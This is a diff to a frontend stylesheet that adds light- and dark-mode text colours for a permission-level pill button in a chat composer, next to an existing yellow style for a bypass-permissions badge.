+++ b/studio/frontend/src/index.css
@@ -1483,6 +1483,15 @@ html[data-chat-font] .aui-root {
.composer-pill-btn[data-active="true"] {
color: var(--primary);
}
+ /* Permission-level pill: higher-contrast grey than the resting pills so
+ the active level stays legible (darker in light mode, lighter in dark).
+ Full access keeps the danger yellow below. */
+ .composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+ color: color-mix(in oklab, var(--foreground) 60%, transparent);
+ }
+ .dark .composer-pill-btn.composer-pill-permissions:not([data-variant="danger"]) {
+ color: color-mix(in oklab, var(--foreground) 72%, transparent);
+ }
/* Bypass permissions badge: bright yellow text, no resting fill; the
rounded hover pill picks up the yellow accent like other toggles. */
.composer-pill-btn[data-variant="danger"] {